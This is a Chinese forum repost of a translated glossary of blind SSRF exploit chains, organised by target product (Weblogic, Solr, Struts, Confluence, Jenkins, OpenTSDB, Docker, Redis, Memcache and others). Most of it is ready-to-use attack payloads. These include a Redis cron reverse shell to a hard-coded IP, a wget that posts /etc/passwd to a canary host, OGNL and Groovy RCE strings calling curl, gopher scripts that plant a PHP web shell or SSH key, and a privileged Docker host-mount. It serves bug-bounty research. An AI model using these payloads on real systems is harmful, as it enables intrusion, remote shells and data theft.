|
|
本帖最后由 Meng0f 于 2021-9-30 13:56 编辑
[url=]转自：渗透云笔记[/url]
团队小伙伴翻译的
https://www.cnblogs.com/Ed1s0nZ/p/15239166.html
原文阅读体验更佳
盲SSRF利用链术语表介绍
什么是服务器请求伪造(SSRF)?
SSRF(Server-Side Request Forgery:服务请求伪造)是一种由攻击者构造，从而让服务端发起请求的一种安全漏洞，它将一个可以发起网络请求的服务当作跳板来攻击其他服务，SSRF的攻击目标一般是内网。当服务端提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片、下载等)，但是没有对目标地址做过滤与限制时就会出现SSRF。
盲 SSRF(Blind SSRF)
在利用服务器端请求伪造时，我们经常会发现自己无法读取响应。这种行为通常被称为"盲SSRF(Blind SSRF)"。在这种情况下，我们如何证明影响？这是贾斯汀 · 加德纳在推特上引发的一次有趣的讨论：
 
如果你能够获得内部资源，那么可以执行许多潜在的利用链来证明其影响。这篇文章尽可能详细介绍每个已知的盲SSRF的漏洞利用链，并将随着更多技术的发现和分享而更新。
你可以在这里找到一个GitHub仓库来查看所有的这些技术:Blind SSRF Chains。
请在GitHub上给我们发送一个pull请求，如果你想在这个术语表中添加更多的技术。
SSRF Canaries
(当在内部将一个盲SSRF链接到另一个SSRF时，我倾向于称他们为SSRF Canaries，这将在外部进行额外调用，或者通过特定于应用程序的打开重定向或盲XXE。Confluence, Artifactory, Jenkins, 和JAMF都有一些很好的效果。)
为了验证你可以与内部服务或应用程序交互，你可以使用“SSRF Canaries”。
此时，我们可以请求一个内部URL，该URL执行另一个SSRF并调用你的 Canaries主机。如果你收到一个到你的Canaries主机的请求，这意味着你已经成功地命中了一个内部服务，该服务也能够发出出站请求。
这是验证SSRF漏洞是否可以访问内部网络或应用程序的有效方法，也是验证内部网络上是否存在某些软件的有效方法。你还可以使用SSRF检测器访问内部网络中更敏感的部分，这取决于它位于何处。
使用DNS数据源和AltDNS查找内部主机
目标是找到尽可能多的内部主机，DNS数据源可以用来找到指向内部主机的所有记录。
在云环境中，我们经常看到指向内部VPC中的主机的elb。根据资产所在VPC的不同，有可能访问同一VPC内的其他主机。
例如，假设从DNS数据源中发现了以下主机:
stylus
livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82你可以假设它代表Elasticsearch，然后对该主机执行进一步的攻击。还可以在通过这种方法在已确定的所有“内部”主机上喷洒所有盲SSRF Payloads。这一般情况下是有效的。
要找到更多的内部主机，我建议使用所有的DNS数据，然后使用AltDNS之类的东西生成排列，然后使用fast DNS bruteforcer解析它们。
完成后，识别所有新发现的内部主机，并将它们作为盲SSRF链的一部分。
侧信道泄露
当利用盲SSRF漏洞时，你可能会泄漏有关返回响应的一些信息。例如，假设你通过XXE盲打SSRF，则错误消息可能表示是否：
- 返回了一个响应:
Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1. - 无法访问主机和端口:
Error parsing request: System.Net.WebException: Unable to connect to the remote server - 响应状态代码:
Online internal asset:port responds with vs offline internal asset:port 200 OK``500 Internal Server Error - 响应内容:
响应大小(以字节为单位)是小还是大，取决于你试图请求的URL是否可达。 - 响应时间:
响应时间变慢或变快，这取决于你试图请求的URL是否可达。
技巧可能通过HTTP (s)Elasticsearch
默认端口: 9200
当内部部署Elasticsearch时，它通常不需要身份验证。
如果你有一个盲SSRF，你可以确定状态代码，检查看看以下端点是否返回200:
awk
/_cluster/health/_cat/indices/_cat/health如果你有一个可以发送POST请求的盲SSRF，你可以通过发送一个POST请求到以下路径来关闭Elasticsearch实例:
注意:这个API已经从Elasticsearch版本2.x及以上中移除了。这只能在Elasticsearch 1.6和以下版本运行
awk
/_shutdown/_cluster/nodes/_master/_shutdown/_cluster/nodes/_shutdown/_cluster/nodes/_all/_shutdownWeblogic
默认端口: 80, 443 (SSL), 7001, 7002, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1Host: target.comContent-Length: 137Content-Type: application/x-www-form-urlencodedoperator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search这也可以通过GET实现:
sas
http://target.com/uddiexplorer/S ... on&btnSubmit=Search这个端点也容易受到CRLF注入的影响:
http
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0Host: vuln.weblogicAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36Connection: close将导致以下请求:
http
root@mail:~# nc -lvp 4000Listening on [0.0.0.0] (family 0, port 4000)Connection from example.com 43111 received!POST /exp HTTP/1.11X-CLRF: Injected HTTP/1.1Content-Type: text/xml; charset=UTF-8soapAction: ""Content-Length: 418User-Agent: Java1.6.0_24Host: attacker.com:4000Accept: text/html, image/gif, image/jpeg, */*; q=.2Connection: Keep-Alive<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF Canary: CVE-2020-14883
Taken from here.
Linux:
html
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1Host: vulnerablehost:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 117_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")Windows:
http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1Host: vulnerablehost:7001Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 117_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")Hashicorp Consul
默认端口: 8500, 8501(SSL)
Writeup can be found here.
Shellshock
默认端口: 80, 443 (SSL), 8080
为了有效地测试Shellshock，你可能需要添加一个包含payload的头。下面的CGI路径值得一试:
要测试的CGI路径列表:Gist containing paths.
SSRF Canary: Shellshock via User Agent
sqf
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARYApache Druid
默认端口: 80, 8080, 8888, 8082
请参阅Apache Druid的API参考。
如果你可以查看状态码，请检查以下路径，看看它们是否返回200状态码:
awk
/status/selfDiscovered/status/druid/coordinator/v1/leader/druid/coordinator/v1/metadata/datasources/druid/indexer/v1/taskStatus关闭任务，需要你猜测任务id或数据源名称:
gradle
/druid/indexer/v1/task/{taskId}/shutdown/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasksApache Druid Overlords上的关闭监控器:
awk
/druid/indexer/v1/supervisor/terminateAll/druid/indexer/v1/supervisor/{supervisorId}/shutdownApache Solr
默认端口: 8983
SSRF Canary: Shards Parameter
(为了补充shubham所说的--扫描solr相对容易。有一个shards=参数，允许你反弹SSRF到SSRF，用来验证你正在盲打的solr实例)
取自这里。
awk
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json/xxx?q=aaa%26shards=http://SSRF_CANARY/solr /xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)
xml
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}通过dataImportHandlerRCE
Research on RCE via dataImportHandler
PeopleSoft
默认端口: 80,443 (SSL)
取自这个研究
SSRF Canary: XXE #1
html
POST /PSIGW/HttpListeningConnector HTTP/1.1Host: website.comContent-Type: application/xml...<?xml version="1.0"?><!DOCTYPE IBRequest [<!ENTITY x SYSTEM "http://SSRF_CANARY">]><IBRequest> <ExternalOperationName>&x;</ExternalOperationName> <OperationType/> <From><RequestingNode/> < assword/> <OrigUser/> <OrigNode/> <OrigProcess/> <OrigTimeStamp/> </From> <To> <FinalDestination/> <DestinationNode/> <SubChannel/> </To> <ContentSections> <ContentSection> <NonRepudiation/> <MessageVersion/> <Data><![CDATA[<?xml version="1.0"?>your_message_content]]> </Data> </ContentSection> </ContentSections></IBRequest>
SSRF Canary: XXE #2
html
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1Host: website.comContent-Type: application/xml...<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">Apache Struts
默认端口: 80,443 (SSL),8080,8443 (SSL)
取自这里。
SSRF Canary: Struts2-016:
将这个附加到你知道的每个内部端点/URL的末尾:
xquery
?redirect {%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}JBoss
默认端口: 80,443 (SSL),8080,8443 (SSL)
取自这里：
SSRF Canary: Deploy WAR from URL
awk
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.warConfluence
默认端口: 80,443 (SSL),8080,8443 (SSL)
通过OGNL注入实现RCE (CVE-2021-26084)
llvm
/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/confluence/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/wiki/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/pages/doenterpagevariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/pages/createpage.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/pages/templates2/viewpagetemplate.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/pages/createpage-entervariables.action?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/template/custom/content-editor?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/templates/editor-preload-container?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027/users/user-dark-features?queryString=aaa%5Cu0027%252b%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName(%5Cu0022java.lang.Runtime%5Cu0022).getMethod(%5Cu0022getRuntime%5Cu0022%2Cnull).invoke(null%2Cnull).exec(%5Cu0022curl%20%3Cinstance%3E.burpcollaborator.net%5Cu0022)%7D%252b%5Cu0027SSRF Canary: Sharelinks(2016年11月发布的Confluence版本及更早版本)
awk
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
dts
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARYJira
默认端口: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
dts
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARYSSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Atlassian Security Ticket JRASERVER-69793
awk
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com其他Atlassian产品
默认端口: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet (CVE-2017-9506):
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
Atlassian Security Ticket OAUTH-344
dts
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARYOpenTSDB
默认端口: 4242
OpenTSDB远程代码执行
SSRF Canary: curl via RCE
sas
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&pngOpenTSDB 2.4.0 远程代码执行
SSRF Canary: curl via RCE - CVE-2020-35476
sas
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&jsonJenkins
默认端口: 80,443 (SSL),8080,8888
取自这里。
SSRF Canary: CVE-2018-1000600
awk
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsaiRCE
按照这里的说明，通过GET实现RCE:黑客詹金斯第2部分-滥用元编程为未经验证的RCE!
reasonml
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
通过Groovy RCE
ini
cmd = 'curl burp_collab'pay = 'public class x {public x(){"%s".execute()}}' % cmddata = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)Hystrix Dashboard
默认端口: 80,443 (SSL),8080
Spring Cloud Netflix，版本2.2.x 2.2.4之前的版本2.1.x 在2.1.6版本之前。
SSRF Canary: CVE-2020-5412
awk
/proxy.stream?origin=http://SSRF_CANARY/W3 Total Cache
默认端口: 80,443(SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
这需要是PUT请求:
html
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1Host: Accept: */*User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36Content-Length: 124Content-Type: application/x-www-form-urlencodedConnection: close{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
SSRF Canary
关于此漏洞的建议发布在这里:W3 Total Cache SSRF漏洞
这个PHP代码将为你的SSRF Canary主机生成一个payload(用你的Canary主机替换):url
php
<?php$url='http://www.google.com';$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');$file=chop($file,'=');$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';echo($req);?>Docker
默认端口: 2375, 2376 (SSL)
如果你有一个部分回显SSRF，你可以使用以下路径来验证Docker的API的存在:
jboss-cli
/containers/json/secrets/services通过运行一个任意的docker镜像触发RCE
applescript
POST /containers/create?name=test HTTP/1.1Host: website.comContent-Type: application/json...{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "rivileged": true}将alpine替换为你希望docker容器运行的任意镜像。
Gitlab Prometheus Redis Exporter
默认端口: 9121
此漏洞影响13.1.1版本之前的Gitlab实例。根据Gitlab文档，从Gitlab 9.0开始，Prometheus及其导出程序默认是打开的。
这些导出器为攻击者使用CVE-2020-13379来攻击其他服务提供了一种很好的方法。一个很容易被利用的Exporter是Redis Exporter。
以下端点将允许攻击者转储redis服务器中通过target参数提供的所有密钥:
vim
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
可能通过Gopher
Redis
默认端口: 6379
推荐阅读:
- 试图通过HTTP请求攻击Redis
- SSRF攻击Redis
通过Corn RCE - Gopher Attack Surfaces
bash
redis-cli -h $1 flushallecho -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1redis-cli -h $1 config set dir /var/spool/cron/redis-cli -h $1 config set dbfilename rootredis-cli -h $1 saveGopher:
bash
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
通过上传(PHP)shell RCE - Redis Getshell Summary
python
#!/usr/bin/env python# -*-coding:utf-8-*-import urllibprotocol="gopher://"ip="192.168.189.208"port="6379" shell="\n\n<?php phpinfo();?>\n\n"filename="shell.php"path="/var" passwd=""cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
通过 authorized_keys RCE - Redis Getshell Summary
python
import urllibprotocol="gopher://"ip="192.168.189.208"port="6379"# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"filename="authorized_keys"path="/root/.ssh/"passwd=""cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ]if passwd: cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmdif __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
通过Git协议在GitLab上进行RCE
参考Liveoverflow的文章
虽然这需要通过身份验证访问GitLab才能利用，我这里的payload，因为协议可能对你正在攻击的目标有效。此payload仅供参考。
bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.gitMemcache
默认端口: 11211
- vBulletin Memcache RCE
- GitHub Enterprise Memcache RCE
- Example Gopher payload for Memcache
bash
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0agopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0aApache Tomcat
默认端口: 80,443 (SSL),8080,8443 (SSL)
仅对Tomcat 6有效:
gopher-tomcat-deployer
使用此技术编写CTF:
From XXE to RCE: Pwn2Win CTF 2018 Writeup
FastCGI
默认端口: 80,443 (SSL)
取自这里
apache
gopher://127.0.0.1:9000/_%01%01% ... 0%00%00%00%00%00%00工具Gopherus
- Gopherus - Github
- Blog post on Gopherus
这个工具产生的Gopher payload有:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
SSRF Proxy
SSRF Proxy是一个多线程HTTP代理服务器，旨在通过容易受到服务器端请求伪造(SSRF)攻击的HTTP服务器隧道客户端HTTP流量。
Credits:
原文：A Glossary of Blind SSRF Chains – Assetnote
感谢以下为这篇文章做出贡献的人:
- @Rhynorater - Numerous contributions towards this blog post
- @nnwakelam - Solr Shards SSRF
- @marcioalm - Tomcat 6 Gopher RCE
- @vtnahira - OpenTSDB RCE
- @fransrosen - SSRF canaries concept
- @theabrahack - RCE via Jenkins Groovy
- bike chain logo by Rafael Empinotti from the Noun Project
|
|
发表于 2021-9-30 13:49:15